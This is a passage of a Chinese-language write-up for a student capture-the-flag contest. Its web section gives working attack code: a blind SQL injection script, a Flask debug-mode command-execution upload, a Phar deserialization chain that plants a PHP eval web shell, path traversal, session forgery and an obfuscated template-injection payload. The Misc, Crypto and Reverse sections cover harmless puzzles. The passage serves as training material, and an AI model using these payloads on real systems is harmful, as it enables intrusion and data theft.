        print(f'{i}...')
        start = -1 
        end = 255
        mid = -1
        while start < end:
            mid = (start + end) // 2
            url = "http://c968b372-387a-4e4b-b157-b99e627c3a66.node5.buuoj.cn:81/"
            params = {"id": f"1/**/and/**/if(ascii(substr(database(),{i},1))>{mid},sleep(1),1)#"}
            ret = session.get(url, params=params)
            assert ret.status_code == 200, f'code: {ret.status_code}'
            assert '429 Too Many Requests' not in ret.text
            if ret.elapsed.total_seconds() >= 1:
                start = mid + 1
            else:
                end = mid
            time.sleep(0.05)
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))
    return ''.join(results)

begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')

"""
1...
c
2...
ct
3...
ctf
4...
time spend: 16.405414819717407
"""

可以得出数据库名为 ctf

params = {"id": f"1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'),{i},1))>{mid},sleep(1),1)#"}

可以得出表名为 items

params = {"id": f"1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'ctf'/**/and/**/table_name/**/like'items'),{i},1))>{mid},sleep(1),1)#"}

可以得出字段名为 id,name,price

params = {"id": f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(1),1)#"}

可以得出值 1lolita1000,520lolita's flag is flag{647190d8-7511-4386-b513-15440eb033be}1688

[Week 4]Flask Disk

根据题目已知框架为 Flask ,通过 admin manage 已知开启了 Debug 模式,在该模式下修改 app.py 会立即加载,通过 Upload 上传新的 app.py

from flask import *
import os

app = Flask(__name__)
@app.route('/')

def index():
    try:
        cmd = request.args.get('1')
        data = os.popen(cmd).read()
        return data
    except:
        pass

    return "1"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000,debug=True)

上传后通过构造 Payload 获得 flag 。

1=cat /flag

[Week 4]PharOne

查看源代码可以发现提示 class.php ,通过查看可以得到源码如下。

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);

结合标题可以通过 Phar 反序列化来写入 WebShell ,经过随机上传发现存在文件类型检测。

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST[1]);\">/var/www/html/1.php";
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

通过上传发现存在过滤 !preg_match("/__HALT_COMPILER/i",FILE_CONTENTS) ,可以通过 gzip 压缩进行绕过。

$ gzip -f 1.phar
$ mv 1.phar.gz 1.jpg

修改好后进行上传得到回显如下。

Saved to: upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

再通过构造 Payload 如下即可上传恶意 WebShell 。

// class.php
file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

此时通过构造 Payload 如下即可获得 flag 。

// 1.php
1=system("cat /f*");

[Week 4]InjectMe

附件:Dockerfile

FROM vulhub/flask:1.1.1
ENV FLAG=flag{not_here}
COPY src/ /app
RUN mv /app/start.sh /start.sh && chmod 777 /start.sh
CMD [ "/start.sh" ]
EXPOSE 8080

可以得出站点目录在 /app 中,通过查看图片 110.jpg 可以得到部分源码。

可以发现 ../ 被替换成了空,但是可以通过类似双写的方法进行绕过从而实现路径穿越,构造 Payload 如下。

/download?file=..././..././..././app/app.py

可以得到 app.py 的源码如下。

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)

通过分析 backdoor 函数可知需要进行 session 伪造来修改 session['user'] ,通过源码可知 secret_key 位于 config.py 中,通过上述相同方法获取,回显如下。

secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
$ python .\flask_session_cookie_manager3.py decode -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -c "eyJ1c2VyIjoiZ3Vlc3QifQ.ZgfcyA.YhCEWdSzBAAgOIUh5lmFU
AoCqDY"
{'user': 'guest'}

成功 decode 后,还需要进行绕过,编写一个 Python 脚本如下。

import subprocess
import requests

payload = '<div data-gb-custom-block data-tag="set" data-i=''></div><div data-gb-custom-block data-tag="print" data-0='24' data-1='24' data-2='24' data-3='24' data-4='24' data-5='24' data-6='24' data-7='2' data-8='2' data-9='2' data-10='g' data-11='' data-12='~i[24]*2][(' data-13='2' data-14='2' data-15='' data-16='' data-17='|select|string)[24]*2~' data-18='' data-19='' data-20='' data-21='~i[24]*2][i[24]*2~' data-22='2' data-23='2' data-24='import' data-25='~i[24]*2](' data-26='' data-27='s' data-28='p' data-29='' data-30='open' data-31='l' data-32='~' data-33='s' data-34='10' data-35='10' data-36='0' data-37='/' data-38='))[' data-39='read'></div>'

def getSession():
    command = ['python', 'flask_session_cookie_manager3.py', 'encode', '-t',
               "{{'user':'{0}'}}".format(payload), '-s',
               "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"]
    result = subprocess.run(command, capture_output=True, text=True)
    output = result.stdout.strip()
    return output


a = getSession()
print(a)

url = "http://cc52e144-c6c3-4b89-abcc-472db5bf1e69.node5.buuoj.cn:81/backdoor"
cookies = {"session": a}
res = requests.get(url=url, cookies=cookies)
print(res.text)

"""
竟然给<h1>app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
y0U3_f14g_1s_h3re
</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁
"""

发现成功绕过并且获得 flag 文件名 y0U3_f14g_1s_h3re ,通过修改脚本如下即可得到 flag 。

payload = '<div data-gb-custom-block data-tag="set" data-i=''></div><div data-gb-custom-block data-tag="print" data-0='24' data-1='24' data-2='24' data-3='24' data-4='24' data-5='24' data-6='24' data-7='2' data-8='2' data-9='2' data-10='g' data-11='' data-12='~i[24]*2][(' data-13='2' data-14='2' data-15='' data-16='' data-17='|select|string)[24]*2~' data-18='' data-19='' data-20='' data-21='~i[24]*2][i[24]*2~' data-22='2' data-23='2' data-24='import' data-25='~i[24]*2](' data-26='' data-27='s' data-28='p' data-29='' data-30='open' data-31='c' data-32='~' data-33='at' data-34='10' data-35='10' data-36='0' data-37='/y0U3_f14g_1s_h3re' data-38='))[' data-39='read'></div>'

Misc

[Week 1]CyberChef's Secret

来签到吧!下面这个就是flag,不过它看起来好像怪怪的:-)
M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=

CyberChef 一把梭,flag 如下

flag{Base_15_S0_Easy_^_^}

[Week 1]机密图片

通过 zteg 可以得到 flag。

┌──(kali㉿kali)-[~/Desktop]
└─$ zsteg secret.png
b1,r,lsb,xy         .. text: ":=z^rzwPQb"
b1,g,lsb,xy         .. file: OpenPGP Public Key
b1,b,lsb,xy         .. file: OpenPGP Secret Key
b1,rgb,lsb,xy       .. text: "flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}"
b3,b,lsb,xy         .. file: very old 16-bit-int big-endian archive
b4,bgr,msb,xy       .. file: MPEG ADTS, layer I, v2, 112 kbps, 24 kHz, JntStereo

[Week 1]流量!鲨鱼!

用 WireShark 打开后在过滤器中输入 http.response.code==200 可以得到所有成功访问的 http 请求。

通过一个一个看可以发现一个特殊的请求,如下图

可以发现这是请求 flag 并且将 flag 以 base64 编码的形态输出,通过将值进行 base64 解码即可得到 flag。

flag{Wri35h4rk_1s_u53ful_b72a609537e6}

[Week 1]压缩包们

通过 binwalk 可以知道这是个 zip 压缩包,用 010 打开后发现缺少了文件头,需要进行修改,如下图。

修改后将后缀名修改为 zip ,解压得到 flag.zip 但打开压缩包会提示压缩包数据错误 - 该文件已损坏,再看看全局方式位标记是否有错。

https://mp.weixin.qq.com/s?__biz=MzAwNDcwMDgzMA==&mid=2651042332&idx=7&sn=ff5bb33bb0f49470a9140976d9ced3fa

通过 010 可以看到压缩源文件数据的全局方式位标记为 09 00 ,压缩源文件目录区的全局方式位标记 00 00 ,将压缩源文件目录区的全局方式位标记也修改为 09 00 再打开压缩包发现压缩包正常了。

在压缩包注释中存在一串 base64 编码内容如下

SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==

解码内容如下

I like six-digit numbers because they are very concise and easy to remember.

说明密码应该为 6 个数字,用 ARCHPR 进行爆破即可得到密码为 232311 ,解压后即可得到 flag

flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}

[Week 1]空白格

   		  		 
	
     		 		  
	
     		    	
	
     		  			
	
     				 		
	
     			 			
	
     		  		
	
     	 					
	
     		 	   
	
     		 	  
	
     			 		 
	
     		  		
	
     	 					
	
     			 	  
	
     		 				
	
     		    
	
     	 					
	
     		 		 	
	
     		 	  
	
     		 			 
	
     				  	
	
     	 					
	
     			 			
	
     		 	   
	
     		   	
	
     			 	  
	
     		  		
	
     	 					
	
     			  		
	
     			    
	
     		 	  
	
     		   		
	
     		  	 	
	
     	 					
	
     		  	 
	
     		    	
	
     		 	 	
	
     		   	 
	
     		 	  
	
     		  	 	
	
     		    
	
     		 	  
	
     					 	
	
  

使用 VSCode 打开可以发现这是由 换行符制表符空格 组成的内容,通过百度发现是 whitespace 语言。

https://www.w3cschool.cn/tryrun/runcode?lang=whitespace

通过在线工具即可得到 flag 如下

flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04}

[Week 1]隐秘的眼睛

使用 SilentEye 进行 Decode 即可得到 flag,密钥用的是默认的。

flag{R0ck1ng_y0u_63b0dc13a591}

[Week 2]新建Word文档

http://hi.pcmoe.net/buddha.html

Crypto

[Week 1]brainfuck

密文如下

++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.

https://www.splitbrain.org/services/ook

flag{Oiiaioooooiai#b7c0b1866fe58e12}

[Week 1]Caesar's Secert

密文如下

kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}

https://www.dcode.fr/caesar-cipher

flag{ca3s4r's_c1pher_i5_v4ry_3azy}

[Week 1]Fence

密文如下

fa{ereigtepanet6680}lgrodrn_h_litx#8fc3

栅栏密码,使用 CyberChef 可以解出来

#recipe=Rail_Fence_Cipher_Decode(2,0)&input=ZmF7ZXJlaWd0ZXBhbmV0NjY4MH1sZ3JvZHJuX2hfbGl0eCM4ZmMz
flag{reordering_the_plaintext#686f8c03}

[Week 1]Vigenère

密文如下

pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}

https://www.dcode.fr/vigenere-cipher

维吉尼亚密码解密,将密文丢进上述链接中,并设置

Knowing a plaintext word: flag{

可以发现当 Key 前三位为 KFC 时存在 flag{ ,故尝试让 Key 就等于 KFC ,发现就是 flag。

flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}

[Week 1]babyencoding

密文如下

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

前两个用 CyberChef 可以一把梭,结果如下。

part 1 of flag: flag{dazzling_encoding#4e0ad4
part 2 of flag: f0ca08d1e1d0f10c0c7afe422fea7

第三部分使用的是 UUEncode 编码

http://www.atoolbox.net/Tool.php?Id=731

解密后可以得到第三部分

part 3 of flag: c55192c992036ef623372601ff3a}

[Week 1]Small d

https://github.com/pablocelayes/rsa-wiener-attack

题目中的 e 很大,说明 d 就会很小,通过 Wiener 攻击来解出 d。

from Crypto.Util.number import long_to_bytes
from RSAwienerHacker import hack_RSA
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
d = hack_RSA(e, n)
print(d)
m = pow(c, d, n)
print(long_to_bytes(m))

[Week 1]babyrsa

题目描述:很容易分解的n

http://factordb.com/

题目描述中给出 hint ,通过 factordb 分解 n ,可以得到以下数组。

array_p = [2217990919, 2338725373, 2370292207, 2463878387, 2706073949, 2794985117, 2804303069, 2923072267, 2970591037, 3207148519, 3654864131, 3831680819, 3939901243, 4093178561, 4278428893]

分解所得均为素数,通过计算出 phi 即可得出结果。

import gmpy2
from Crypto.Util.number import long_to_bytes, isPrime

n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
e = 65537
c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

array_p = [2217990919, 2338725373, 2370292207, 2463878387, 2706073949, 2794985117, 2804303069, 2923072267, 2970591037, 3207148519, 3654864131, 3831680819, 3939901243, 4093178561, 4278428893]

phi = 1
for p in array_p:
    if isPrime(p):
        phi *= (p - 1)
    else:
        exit(1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

[Week 1]babyxor

from secret import *

ciphertext = []

for f in flag:
    ciphertext.append(f ^ key)

print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2

知道明文前五位为 flag{ ,通过异或密文前五位来得出 key ,python 脚本如下

ciphertext_hex = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
ciphertext = bytes.fromhex(ciphertext_hex)
known_plaintext = b"flag{"
partial_key = [ciphertext[i] ^ known_plaintext[i] for i in range(5)]
print("Partial key:", bytes(partial_key))
# Partial key: b'\x8f\x8f\x8f\x8f\x8f'

可以得出 key 为 \x8f ,通过遍历异或整串密文就可以得到 flag,脚本如下

ciphertext_hex = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
ciphertext = bytes.fromhex(ciphertext_hex)
key = int.from_bytes(b'\x8f', 'big')
print(bytes([ciphertext[i] ^ key for i in range(36)]))

[Week 1]Affine

from flag import flag, key

modulus = 256

ciphertext = []

for f in flag:
    ciphertext.append((key[0]*f + key[1]) % modulus)

print(bytes(ciphertext).hex())

# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064

通过将明文的每个字符与 key[0] 相乘再加上 key[1] 模 256即可得到密文,因此把过程倒过来即可得到 flag。

加密过程: $(key[0] * f + key[1])\ mod\ 256$

因为进行模运算,逆过来需要先求出逆元,通过求出逆元就可以逆推得出 flag。

解密过程: $key[0]^{-1} * (c-key[1])\ mod\ 256 $

根据已知明文 flag{ 爆破出逆元后通过解出的 key[0]key[1] 代入求解即可,脚本如下

def mod_inverse(a, m):
    for x in range(1, m):
        if (a * x) % m == 1:
            return x
    return None

ciphertext = bytes.fromhex("dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064")

known_text = b"flag{"

for k0 in range(256):
    for k1 in range(256):
        inv_k0 = mod_inverse(k0, 256)
        if not inv_k0:
            continue
        decrypted = [(inv_k0 * (c - k1)) % 256 for c in ciphertext[:len(known_text)]]
        if bytes(decrypted) == known_text:
            print(bytes([(inv_k0 * (c - k1)) % 256 for c in ciphertext[:len(ciphertext)]]))
            break
            
# flag{4ff1ne_c1pher_i5_very_3azy}

[Week 1]babyaes

from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *


def pad(data):
    return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])


def main():
    flag_ = pad(flag)
    key = os.urandom(16) * 2
    iv = os.urandom(16)
    print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
    aes = AES.new(key, AES.MODE_CBC, iv)
    enc_flag = aes.encrypt(flag_)
    print(enc_flag)


if __name__ == "__main__":
    main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

由于 key 是由一段随机 16bit 的值复制两次拼接出来的值,并且给出了 $key\ \oplus\ iv\ \oplus\ 1$ 的值,因此可以先异或 1 得到 $key\ \oplus\ iv$ 的值。

由于此时的 key 为 32bit,而 iv 为 16bit,因此解出来的值得前半段就是 key 值,再通过将前半段异或后半段即可得到 iv 值,脚本如下

xor_result = 3657491768215750635844958060963805125333761387746954618540958489914964573229
xor_result_bytes = long_to_bytes(xor_result ^ 1)
key = xor_result_bytes[:16] * 2
print(f'key = {key}')
iv = long_to_bytes(bytes_to_long(xor_result_bytes[:16]) ^ bytes_to_long(xor_result_bytes[16:]))
print(f'iv = {iv}')
# key = b'\x08\x16\x11%\xa0\xa6\xc5\xcb^\x02\x99NF`\xea,\x08\x16\x11%\xa0\xa6\xc5\xcb^\x02\x99NF`\xea,'
# iv = b'\xe3Z\x19Ga>\x07\xcc\xd1\xa1X\x01c\x11\x16\x00'

将解出的 key 和 iv 丢进 AES 中进行解密即可得到 flag,完整脚本如下

from Crypto.Cipher import AES
from Crypto.Util.number import *

xor_result = 3657491768215750635844958060963805125333761387746954618540958489914964573229
enc_flag = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

xor_result_bytes = long_to_bytes(xor_result ^ 1)
print(xor_result_bytes)

key = xor_result_bytes[:16] * 2
print(f'key = {key}')

iv = long_to_bytes(bytes_to_long(xor_result_bytes[:16]) ^ bytes_to_long(xor_result_bytes[16:]))
print(f'iv = {iv}')

aes = AES.new(key, AES.MODE_CBC, iv)
dec_flag = aes.decrypt(enc_flag)

print(dec_flag)
# b'firsT_cry_Aes\x00\x00\x00'

Reverse

[Week 1]easy_RE

用 ida64 打开可以得到前半部分 flag ,如下图

通过按 F5 反编译可以得到后半部分 flag ,如下图

故 flag 如下

flag{we1c0me_to_rev3rse!!}}

[Week 1]咳

题目描述中存在壳,用查壳软件看看,如下图

需要使用 upx 去壳,如下

$ upx -d "KE.exe"
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96w       Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    133760 <-     68224   51.00%    win64/pe     KE.exe

Unpacked 1 file.

去壳完成后用 ida64 打开,通过反编译可以得到以下内容

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // r10
  char *v4; // kr00_8
  char Str1[96]; // [rsp+20h] [rbp-88h] BYREF
  int v7; // [rsp+80h] [rbp-28h]

  _main();
  memset(Str1, 0, sizeof(Str1));
  v7 = 0;
  Hello();
  scanf("%s", Str1);
  for ( i = 0i64; ; ++i )
  {
    v4 = &Str1[strlen(Str1)];
    if ( i >= v4 - Str1 )
      break;
    ++Str1[i];
  }
  if ( !strncmp(Str1, enc, v4 - Str1) )
    puts("WOW!!");
  else
    puts("I believe you can do it!");
  system("pause");
  return 0;
}

并且可以找到

enc = "gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~"

通过分析可得该函数将密文是由明文的每个字符转ascii值后加一得到的,要得到明文则将每个字符的ascii值减一即可。

str = "gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~"
for s in str:
    print(chr(ord(s) - 1), end='')

# flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}

[Week 1]Segments

百度 IDA的Segments窗口要怎么打开呢 ,可以得到结果 Shift+F7 ,将 Segments 窗口中的 name 拼凑起来就是 flag。

flag{You_ar3_g0od_at_f1nding_ELF_segments_name}

[Week 1]ELF

用 ida64 打开,通过反编译可以得到以下内容

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // edx
  char *s1; // [rsp+0h] [rbp-20h]
  char *v6; // [rsp+8h] [rbp-18h]
  char *s; // [rsp+10h] [rbp-10h]

  s = (char *)malloc(0x64uLL);
  printf("Input flag: ");
  fgets(s, 100, stdin);
  s[strcspn(s, "\n")] = 0;
  v6 = (char *)encode(s);
  v3 = strlen(v6);
  s1 = (char *)base64_encode(v6, v3);
  if ( !strcmp(s1, "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t") )
    puts("Correct");
  else
    puts("Wrong");
  free(v6);
  free(s1);
  free(s);
  return 0;
}

_BYTE *__fastcall encode(const char *a1)
{
  size_t v1; // rax
  int v2; // eax
  _BYTE *v4; // [rsp+20h] [rbp-20h]
  int i; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+2Ch] [rbp-14h]

  v1 = strlen(a1);
  v4 = malloc(2 * v1 + 1);
  v6 = 0;
  for ( i = 0; i < strlen(a1); ++i )
  {
    v2 = v6++;
    v4[v2] = (a1[i] ^ 0x20) + 16;
  }
  v4[v6] = 0;
  return v4;
}

通过分析可知密文是由明文的每个字符与 0x20 进行异或后加 16 并进行 base64 编码得到的,要得到明文则先进行 base64 解码后将所得的每个位减去 16 再和 0x20 异或即可,脚本如下。

import base64

encoded_str = "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t"
decoded_bytes = base64.b64decode(encoded_str)
print(decoded_bytes)
for s in decoded_bytes:
    print(chr((s - 16) ^ 0x20), end="")
    
# flag{D0_4ou_7now_wha7_ELF_1s?}

[Week 1]Endian

用 ida64 打开,通过反编译可以得到以下内容

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-3Ch]
  char *v5; // [rsp+8h] [rbp-38h]
  char v6[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("please input your flag");
  __isoc99_scanf("%s", v6);
  v5 = v6;
  for ( i = 0; i <= 4; ++i )
  {
    if ( *(_DWORD *)v5 != (array[i] ^ 0x12345678) )
    {
      printf("wrong!");
      exit(0);
    }
    v5 += 4;
  }
  printf("you are right");
  return 0;
}

并且 array 数组内容如下

array = [0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]

通过分析可知密文是通过将明文每四个为一组和 0x12345678 进行异或后得到的,但由于是低位存储,所以需要将每一组逆向过来的值进行反向即可得到 flag,脚本如下

from Crypto.Util.number import long_to_bytes

array_data = [0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]
for data in array_data:
    print(bytes(reversed(long_to_bytes(data ^ 0x12345678))).decode(), end='')
    
# flag{llittl_Endian_a}

[Week 1]AndroXor

https://apktool.org/

https://github.com/skylot/jadx

可以在上述引用中下载 apktool ,下载后使用 apktool 进行逆向

$ apktool d AndroXor.apk

逆向后使用 jadx 打开进行 Java 反编译,在 com/chick.androxor/MainActivity 中存在以下内容

    public String Xor(String str, String str2) {
        char[] cArr = {14, '\r', 17, 23, 2, 'K', 'I', '7', ' ', 30, 20, 'I', '\n', 2, '\f', '>', '(', '@', 11, '\'', 'K', 'Y', 25, 'A', '\r'};
        char[] cArr2 = new char[str.length()];
        String str3 = str.length() != 25 ? "wrong!!!" : "you win!!!";
        for (int i = 0; i < str.length(); i++) {
            char charAt = (char) (str.charAt(i) ^ str2.charAt(i % str2.length()));
            cArr2[i] = charAt;
            if (cArr[i] != charAt) {
                return "wrong!!!";
            }
        }
        return str3;
    }

	@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
        this.binding = inflate;
        setContentView(inflate.getRoot());
        final EditText editText = (EditText) findViewById(R.id.password);
        ((Button) findViewById(R.id.button)).setOnClickListener(new View.OnClickListener() { // from class: com.chick.androxor.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View view) {
                String obj = editText.getText().toString();
                MainActivity mainActivity = MainActivity.this;
                Toast.makeText(mainActivity, mainActivity.Xor(obj, "happyx3"), 1).show();
                Log.d("输入", editText.getText().toString());
            }
        });
    }

通过分析可得明文长度为 25,并且代码将循环遍历明文每一个字符,并使用每个字符与第二个参数字符串(happyx3)的对应位置字符进行异或运算,将得到的新字符添加到 cArr2 中,并且还会将cArr2中的字符与cArr中的对应位置字符进行比较。

因此要获得明文需要对应位置逐个异或运算推回来即可,先将 cArr 数字中的其他值都转化为 ascii 值形态,再进行异或运算,将运算结果转回字符即可,脚本如下

cArr = [14, '\r', 17, 23, 2, 'K', 'I', '7', ' ', 30, 20, 'I', '\n', 2, '\f', '>', '(', '@', 11, '\'', 'K', 'Y', 25, 'A', '\r']
str = ""
str2 = "happyx3"

def convert_to_ord(lst):
    for i in range(len(lst)):
        if not isinstance(lst[i], int):
            lst[i] = ord(lst[i])
    return lst

cArr = convert_to_ord(cArr)

for i in range(25):
    str += chr(cArr[i] ^ ord(str2[i % len(str2)]))

print(str)

# flag{3z_And0r1d_X0r_x1x1}

[Week 1]EzPE

下载附件后用查壳工具查发现无法查出来,用 010 打开和其他 exe 文件对比发现缺失了文件头部分,需将文件头部分进行修复。

用 ida64 打开,通过反编译可以得到以下内容

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+2Ch] [rbp-4h]

  _main(argc, argv, envp);
  puts(&draw);
  puts("Please enter your flag!\n");
  scanf("%s", input);
  for ( i = 0; i < strlen(input) - 1; ++i )
    input[i] ^= i ^ input[i + 1];
  if ( !strcmp(input, data) )
    puts("You Win!");
  else
    puts("You lose!");
  system("pause");
  return 0;
}

并且 data 数组内容如下

array_data = [
  0x0A, 0x0C, 0x04, 0x1F, 0x26, 0x6C, 0x43, 0x2D, 0x3C, 0x0C,
  0x54, 0x4C, 0x24, 0x25, 0x11, 0x06, 0x05, 0x3A, 0x7C, 0x51,
  0x38, 0x1A, 0x03, 0x0D, 0x01, 0x36, 0x1F, 0x12, 0x26, 0x04,
  0x68, 0x5D, 0x3F, 0x2D, 0x37, 0x2A, 0x7D
]

通过分析可得密文由将明文的每个字符与其下一个字符以及当前 index 值进行异或运算,并将结果赋值给当前字符,因此要逆向回来只需要倒转反过来即可,脚本如下

array_data = [
  0x0A, 0x0C, 0x04, 0x1F, 0x26, 0x6C, 0x43, 0x2D, 0x3C, 0x0C,
